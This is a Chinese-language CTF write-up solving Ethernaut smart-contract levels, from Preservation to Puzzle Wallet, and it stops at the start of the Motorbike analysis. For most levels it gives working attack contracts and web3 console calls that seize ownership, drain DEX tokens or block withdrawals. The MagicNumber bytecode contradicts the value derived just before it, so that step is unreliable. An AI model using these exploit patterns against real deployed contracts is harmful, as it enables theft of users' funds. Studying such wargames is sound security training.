图片[16]-Ethernaut通关详解 Writeup

Preservation

目标:获得合约所有权

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

分析

两个合约,逐一分析,先看

contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

用户设置时间的函数功能,简单直接。

接下来看主合约

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}
  • address public timeZone1Library第一个时区库的地址
  • address public timeZone2Library 第二个时区库的地址
  • address public owner 所有者的地址
  • uint256 storedTime 由两个时区库中的一个存储的时间。
  • bytes4 constant setTimeSignature 时区库中setTime函数的签名。这不是一个真正的状态变量,因为有 “constant “(常量)这个关键字

合约的constructor使用两个address类型的输入参数来设置两个库的地址,并将所有者设置为msg.sender

合于里面有两个不同的函数

功能相同,但是再不同的时区库上执行相同的代码,

那么函数功能是通过使用delegatecall调用其中一个库的settime并将”_timeStamp “作为调用参数。

那么也就是说,被执行的代码来自于LibraryContract合约,但被使用的上下文是执行delegatecall操作码的Preservation。当我们谈论上下文时,指的是存储、当前发送者(msg.sender)和当前附加价值(msg.value)。

如果 LibraryContract修改状态,它不会修改自己的状态,而是修改调用者(Preservation)的状态

这意味着当LibraryContract.setTime更新 storedTime状态变量时,不是在更新自己的合约的变量,而是在调用者合约的slot0的变量,即timeZone1Library 地址变量。

setSecondTime函数被执行时,同样的事情发生了,它将更新Preservation合约的slot0中的变量。

我们怎样才能利用这个错误呢?有没有办法让delegatecall修改第三个存储槽,该存储槽存储着owner状态变量的信息?

嗯,不能直接从setFirstTimesetSecondTime中修改slot0变量的值。但是,如果我们把slot0地址替换成我们已经部署的(库)合约的地址,在新的库合约中将模仿相同的Preservation布局存储,并且库合约就会更新slot3的变量

解题

pragma solidity ^0.8.0;

contract AttackPreservation {

    // stores a timestamp
    address doesNotMatterWhatThisIsOne;
    address doesNotMatterWhatThisIsTwo;
    address maliciousIndex;

    function setTime(uint _time) public {
        maliciousIndex = address(uint160(_time));
    }
}

部署合约后,然后调用

await contract.setFirstTime(“攻击合约”);

此时timeZone1Library应该就是攻击合约的地址,随后再次调用

await contract.setFirstTime(player);

即可获得合约的所有权

图片[17]-Ethernaut通关详解 Writeup

最后通关

图片[18]-Ethernaut通关详解 Writeup

Recovery

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
从

从合约地址找回丢失的0.5eth

合约分析

Recorvery合约是可以使用msg.sender创建一个新的SimpleToken合约

当我们检测到已有的SimpleToken地址的方法,就可以调用destory函数,执行selfdestruct,将合约余额发送至_to地址

transfer函数

  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

此函数msg.sender的余额被更新,_to的余额将重置为amount,可以使用transfer(address,0)就可以把受害者余额变为0

其次destory函数没有做限制,任何人都可以调用。

接下来就是分析如何找回合约地址了。

基本思路还是eth的地址计算,这里有文章可以参考

addresses – How is the address of an Ethereum contract computed? – Ethereum Stack Exchange

解题

先做个计算,然后计算出的地址去etherscan查一下,可以查到来源是题目地址说明就是正确的

图片[19]-Ethernaut通关详解 Writeup
图片[20]-Ethernaut通关详解 Writeup

那么获取到丢失的合约,接下来只需要这样就可以了

data = web3.eth.abi.encodeFunctionCall({
    name: 'destroy',
    type: 'function',
    inputs: [{
        type: 'address',
        name: '_to'
    }]
}, [player]);
await web3.eth.sendTransaction({
    to: "丢失的合约地址",
    from: player,
    data: data
})

即可通关

图片[21]-Ethernaut通关详解 Writeup

MagicNumber

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract MagicNum {

  address public solver;

  constructor() public {}

  function setSolver(address _solver) public {
    solver = _solver;
  }

  /*
    ____________/\\\_______/\\\\\\\\\_____        
     __________/\\\\\_____/\\\///////\\\___       
      ________/\\\/\\\____\///______\//\\\__      
       ______/\\\/\/\\\______________/\\\/___     
        ____/\\\/__\/\\\___________/\\\//_____    
         __/\\\\\\\\\\\\\\\\_____/\\\//________   
          _\///////////\\\//____/\\\/___________  
           ___________\/\\\_____/\\\\\\\\\\\\\\\_ 
            ___________\///_____\///////////////__
  */
}

本关目的:需要创建和部署一个智能合约,其合约体积小于10个字节,并在调用whatIsTheMeaningOfLife函数时返回42

分析

涉及到EVM虚拟机的字节码了,,,不了解的话有点困难,丢个EVM相关的挑战wp,可以先做一下这个再回来做

Let’s play EVM Puzzles — learning Ethereum EVM while playing! (stermi.xyz)

z总之我们首先要创建个最小合约让他只能返回0x2a,

[00]    PUSH1   2a
[02]    PUSH1   00
[04]    MSTORE  
[05]    PUSH1   20
[07]    PUSH1   00
[09]    RETURN

合约的运行时部分的最终字节码是0x602A60005260206000F3

其次我们需要部署这个合约,使用通过CREATE操作码,我们将我们上个的原始直接骂PUSH到EVM内存中返回

[00]    PUSH10  602A60005260206000F3
[0b]    PUSH1   00
[0d]    MSTORE  
[0e]    PUSH1   0A
[10]    PUSH1   16
[12]    RETURN

最终字节码0x69602A60005260206000F3600052600A6016F3

解题

> var account = "your address here";
> var bytecode = "0x600a600c600039600a6000f3604260805260206080f3";
> web3.eth.sendTransaction({ from: account, data: bytecode }, function(err,res){console.log(res)});

最后

调用合约地址即可

await contract.setSolver("contract address");

不过我这总是失败。。服务直接down了是不理解的。

图片[22]-Ethernaut通关详解 Writeup

Alien Codex

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

获取合约所有权

分析

重点在于计算storage中的存储位置,也就是slot

首先我们来make_contract一下,再来看看storage中codex内存储的数据

图片[23]-Ethernaut通关详解 Writeup

codex 是bytes32的array,数组的长度存在slot1中,的诞生数组中的实际元素数据缺以另外方式存储。

我们调用retract再看看slot1

图片[24]-Ethernaut通关详解 Writeup

可以发现变成了最大值,那么根据题目要求,只要修改owner的值,然而owner的值位于slot0,因此只需要计算出一个array的位置,该元素的位置因为溢出了storage的最大存储量2^256slots,那么就会指向slot0,即可改写onwer的值。

解题

pragma solidity ^0.8.0;

interface IAlienCodex {
    function revise(uint i, bytes32 _content) external;
}

contract AlienCodex {
    address levelInstance;
    
    constructor(address _levelInstance) {
      levelInstance = _levelInstance;
    }
    
    function claim() public {
        unchecked{
            uint index = uint256(2)**uint256(256) - uint256(keccak256(abi.encodePacked(uint256(1))));
            IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));
        }
    }

}

b部署后打过去就行了

图片[25]-Ethernaut通关详解 Writeup

Denial

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

目的:进行ddos,让调用withdraw时拒绝他们提取,gas在1M以下

分析

首先看看withdraw

function withdraw() public {
    uint256 amountToSend = address(this).balance.div(100);
    partner.call{value: amountToSend}("");
    owner.transfer(amountToSend);
    timeLastWithdrawn = now;
    withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}

在amountToSend中设置发送的金额,

通过一个call将余额的1%转给partner

然后通过tranfer将余额的1%转给合约的所有者

最后更新一次时间,更新余额。

因为withdraw函数没有检查返回值,所以说即使我们在调用执行中有回退,函数流程也将继续,我们只需要用尽所有转发的gas,让合约没有gas异常而退回即可。写个死循环就行了

解题

pragma solidity ^0.8.0;

contract AttackDenial {
    receive() external payable {
        while(true){}
    }
}

部署

部署合约,然后终端调用攻击合约即可

await contract.setWithdrawPartner(“”);

Shop

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

目的:低于要求的价格购买物品

分析

首先物品由isSold变量控制,而且必须在尚未售出时方可购买

看看buy函数

function buy() public {
    Buyer _buyer = Buyer(msg.sender);
    if (_buyer.price() >= price && !isSold) {
        isSold = true;
        price = _buyer.price();
    }
}

首先将msg.sender转为Buyer,他希望交易的发送者是一个合约,并在Buyer接口中定义了price函数

那么函数function price() external view returns (uint);没有明确定义,

合约会检查买放的价格是否大宇商店价格和是否要求通过。其次把isSold更新,把price改为_buyer.price()

然而这个接口是可以由外部进行自定义控制的。

解题

pragma solidity ^0.8.0;

interface Buyer {
  function price() external view returns (uint);
}

contract AttackShop is Buyer {
    address public victim;

    constructor(address _victim) {
        victim = _victim;
    }

    function buy() public {
        bytes memory payload = abi.encodeWithSignature("buy()");
        victim.call(payload);
    }

    function price() public view override returns(uint) {
        bytes memory payload = abi.encodeWithSignature("isSold()");
        (, bytes memory result) = victim.staticcall(payload);
        bool sold = abi.decode(result, (bool));
        return sold ? 1 : 101;
    }
}

部署后直接buy即可

Dex

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract Dex is Ownable {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor() public {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }
  
  function addLiquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableToken is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

通关条件:获取内部所有代币,dex拥有100个token1和token2,我们只有10个

分析

两个合约,先看SwappableToken

contract SwappableToken is ERC20 {
    address private _dex;
    
    constructor(
        address dexInstance,
        string memory name,
        string memory symbol,
        uint256 initialSupply
    ) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }
    
    function approve(
        address owner,
        address spender,
        uint256 amount
    ) public returns (bool) {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}

简单的ERC20代币,在构造函数中为msg.sender发行initialSupply数量,重写approve,防止_dex授权,没啥东西

那么主要是dex了,它实现了一个交易所的功能,可以进行兑换,token1和token2

其他函数没什么好看的,看重点

  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

这个函数就是将一个代币与另一个代币进行兑换,第一个require只检测你只能用 token1兑换token2或者反过来。

然后在计算兑换价格,返回代币。

之后是转移。

function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

重点函数来着,这个函数负责计算兑换的价格,当进行tokenY的操作时,用户会获得多少tokenX的艾比。

然而这里的问题就在于这个除法

amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));

在solidity中,会出现向下取整的问题,也就是当我进3/2时不会1.5,而是1

也就是说当我们假如卖了一个token1,但是token2*amount<token1,我们就会获得0个,也就是说我们卖出第一个的代币获得的是0

解题

最开始我们有10a和10b,dex有100a和100b

如果我们把a全部换成b,我们就是0a和0b,dex就是110和90b,那么我们再把b换成a,则会比最初的交易价格要高,我们的新余额就会使24a和0b,而dex有86a和110b,只要反复我们就可以耗尽他的全部资金了, 直接上f12大法,没必要solidity了

let a = await contract.token1();
let b = await contract.token2();
await contract.approve(instance, "1000000000000");
await contract.swap(a, b, 10);
await contract.swap(b, a, 20);
await contract.swap(a, b, 24);
await contract.swap(b, a, 30);
await contract.swap(a, b, 41);
await contract.swap(b, a, 45); 
图片[26]-Ethernaut通关详解 Writeup

Dex Two

其实跟上一个题没多大区别,这里源码就不贴了

目的抽空token12,

分析

本官swap函数没有

require((from == token1 && to == token2) || (from == token2 && to == token1), “Invalid tokens”);

这句话做检查,说明攻击者允许出售任意一个from代币从Dex中获得真正的to代币,可以新的代币合约

那么我们只需要发送一个faketoken到dex合约,我们就可以交换100个faketoken来换回token1,然后重复操作换回token2即可

解题

先去remix搞个假代币合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract EvilToken is ERC20 {
    constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") {
        _mint(msg.sender, initialSupply);
    }
}

然后将合约对其进行授权以及转账

图片[27]-Ethernaut通关详解 Writeup

之后控制台调用就行了

let a = await contract.token1();
let b = await contract.token2();
let c = "address";

await contract.swap(c, a, 1);
await contract.swap(c, b, 2);

Puzzle Wallet

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    using SafeMath for uint256;
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] = balances[msg.sender].add(msg.value);
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] = balances[msg.sender].sub(value);
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

目的:成为合约的admin

题目分析

这里涉及到代理合约的相关知识,可以自行百度,简单来说就是一个合约用来转发另一个合约中的数据,代理合约一般有fallback,并且转发操作是通过delegatecall完成的。

那么我们来看一下合约

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;
    
    constructor(
        address _admin,
        address _implementation,
        bytes memory _initData
    )
    
    public UpgradeableProxy(_implementation, _initData) {
        admin = _admin;
    }
    
    modifier onlyAdmin() {
        require(msg.sender == admin, "Caller is not the admin");
        _;
    }
    
    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }
    
    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }
    
    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

首先这个是代理合约,每个用户直接与这个合约交互,当fallback函数被执行时,通过delegatecall将内容转发到puzzlewallet合约。

fallback函数只有在上述函数都没执行时调用

那么这个合约有个admin,admin可以通过对合约进行升级

proposeAdmin(Address)可以创建管理员,但是只有当前的管理员可以授权新的管理员。

看看本体合约

contract PuzzleWallet {
 using SafeMath for uint256;
 address public owner;
 uint256 public maxBalance;
 mapping(address => bool) public whitelisted;
 mapping(address => uint256) public balances;
 
 function init(uint256 _maxBalance) public {
     require(maxBalance == 0, "Already initialized");
     maxBalance = _maxBalance;
     owner = msg.sender;
 }
 
 modifier onlyWhitelisted() {
     require(whitelisted[msg.sender], "Not whitelisted");
     _;
 }
 
 function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
     require(address(this).balance == 0, "Contract balance is not 0");
     maxBalance = _maxBalance;
 }
 
 function addToWhitelist(address addr) external {
     require(msg.sender == owner, "Not the owner");
     whitelisted[addr] = true;
 }
 
 function deposit() external payable onlyWhitelisted {
     require(address(this).balance <= maxBalance, "Max balance reached");
     balances[msg.sender] = balances[msg.sender].add(msg.value);
 }
 
 function execute(
     address to,
     uint256 value,
     bytes calldata data
 ) external payable onlyWhitelisted {
     require(balances[msg.sender] >= value, "Insufficient balance");
     balances[msg.sender] = balances[msg.sender].sub(value);
     (bool success, ) = to.call{value: value}(data);
     require(success, "Execution failed");
 }
 
 function multicall(bytes[] calldata data) external payable onlyWhitelisted {
     bool depositCalled = false;
     for (uint256 i = 0; i < data.length; i++) {
         bytes memory _data = data[i];
         bytes4 selector;
         assembly {
             selector := mload(add(_data, 32))
         }
         if (selector == this.deposit.selector) {
             require(!depositCalled, "Deposit can only be called once");
             // Protect against reusing msg.value
             depositCalled = true;
         }
         (bool success, ) = address(this).delegatecall(data[i]);
         require(success, "Error while delegating call");
     }
 }
}

直接看关键部分的execute,那么他有一些条件

首先必须在白名单中,只有msg.sender有的余额请求发送到to的value时,你才能执行execute调用

一个用户只能由owner添加到白名单

白名单可以调用deposit像合约存入eth

然后可以通过multicall批量执行

那么关键位置就在于合约的存储布局以及delegatecall的一个过程

首先代理合约和本体合约没有相同的存储布局,也就是说当合约在代理中执行delegatecal的过程中执行一些代码时,修改状态变量会出现错误的情况

举个例子

当我调用PuzzleProxy.proposeNewAdmin(player)奖player的地址作为新的管理员时,proposeNewAdmin函数更新了pendingAdmin变量,该变量位于PuzzleProxy的slot0的位置

然而原版合约的slot0时address public owner变量,那么也就是说执行后就会成为puzzlewallet的管理员

但是我们最终是为了成为PuzzleProxy的管理员,我们可以利用相同的漏洞,我们需要让puzzlewallet在执行delegatecall时修改存储布局的slot才行.

PuzzleWallet合约的位置,有一个maxBalance变量。我们只需要通过uint256(player)将player的地址转换成一个整数来更新这个值。

修改该变量的唯一函数是setMaxBalance,该函数只能由白名单的用户调用,并且当合约的余额为0时。

我们现在是合约的所有者,所以我们可以通过调用addToWhitelist将自己添加到白名单中,但我们仍然需要解决余额限制的问题。

可以调用setmaxBalance

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
 require(address(this).balance == 0, "Contract balance is not 0");
 maxBalance = _maxBalance;
}

但是条件还是不够满足,如果合约内有余额,交易就会被退回,并且在合约部署的时候就存入了0.001个ether了.

那么我们必须耗尽这个钱,我们来看看multicall的函数

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
 bool depositCalled = false;
 for (uint256 i = 0; i < data.length; i++) {
     bytes memory _data = data[i];
     bytes4 selector;
     assembly {
         selector := mload(add(_data, 32))
     }
     if (selector == this.deposit.selector) {
         require(!depositCalled, "Deposit can only be called once");
         // Protect against reusing msg.value
         depositCalled = true;
     }
     (bool success, ) = address(this).delegatecall(data[i]);
     require(success, "Error while delegating call");
 }
}

这个函数允许用户批量打包多个调用节省gas,所以可以看到一个检查,允许在调用中只有一个deposit,加入我发送了1ether并且存款2个,在交易结束的时候,balances[msg.sender]就会是2个eth,但是我只发送了一个

接下来就是利用这一点来进行攻破

解题

首先我们要调用proposeNewAdmin(player),以便在通过delegatecall调用时成为PuzzleWallet的owner

然后我们就是所有者了,可以通过addToWhitelist(player)将自己加入白名单

建立一个批量调用的payload,存入0.001eth,但是让合约记录中我们的余额为0.002

执行multicall,现在就没有eth了,

最后调用setMaxBalance(uint256(player));,成为代理合约的管理员.

首先做一下数据编译

pnaData = web3.eth.abi.encodeFunctionCall({
    name: 'proposeNewAdmin',
    type: 'function',
    inputs: [{
        type: 'address',
        name: '_newAdmin'
    }]
}, [player]);

然后进行调用

await web3.eth.sendTransaction({
    to: instance,
    from: player,
    data: pnaData
})

此时使用contract.owner()就可以发现合约所有者是自己了.之后奖自己添加为白名单

wlData = web3.eth.abi.encodeFunctionCall({
    name: 'addToWhitelist',
    type: 'function',
    inputs: [{
        type: 'address',
        name: 'addr'
    }]
}, [player]);

同样的方式打过去

await web3.eth.sendTransaction({
    to: instance,
    from: player,
    data: wlData
})

通过mutlicall来多次编译mutlicall

depositData = web3.eth.abi.encodeFunctionCall({
    name: 'deposit',
    type: 'function',
    inputs: []
}, []);

multicallData = web3.eth.abi.encodeFunctionCall({
    name: 'multicall',
    type: 'function',
    inputs: [{
        type: 'bytes[]',
        name: 'data'
    }]
}, [[depositData]]);

nestedMulticallData = web3.eth.abi.encodeFunctionCall({
    name: 'multicall',
    type: 'function',
    inputs: [{
        type: 'bytes[]',
        name: 'data'
    }]
}, [[depositData, multicallData]]);

然后交易0.001eth,但是合约会认为是0.002

await web3.eth.sendTransaction({
    to: instance,
    from: player,
    value: "1000000000000000",
    data: nestedMulticallData
})

通过(await contract.balances(player)).toString()来检查是否记录了两次

图片[28]-Ethernaut通关详解 Writeup

提取金额

executeData = web3.eth.abi.encodeFunctionCall({
    name: 'execute',
    type: 'function',
    inputs: [{
        type: 'address',
        name: 'to'
    }, {
        type: 'uint256',
        name: 'value'
    }, {
        type: 'bytes',
        name: 'data'
    }]
}, [player, "2000000000000000", "0x"]);

await web3.eth.sendTransaction({
    to: instance,
    from: player,
    data: executeData
})

最后通过setMaxBalance来获取admin权限即可

smbData = web3.eth.abi.encodeFunctionCall({
    name: 'setMaxBalance',
    type: 'function',
    inputs: [{
        type: 'uint256',
        name: '_maxBalance'
    }]
}, ['your address']);

await web3.eth.sendTransaction({
    to: instance,
    from: player,
    data: smbData
})

通关.

图片[29]-Ethernaut通关详解 Writeup

Motorbike

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
    struct AddressSlot {
        address value;
    }
    
    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`. 
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }
    
    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
        
        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

还是一个代理合约,目的是让摩托车合约销毁

分析

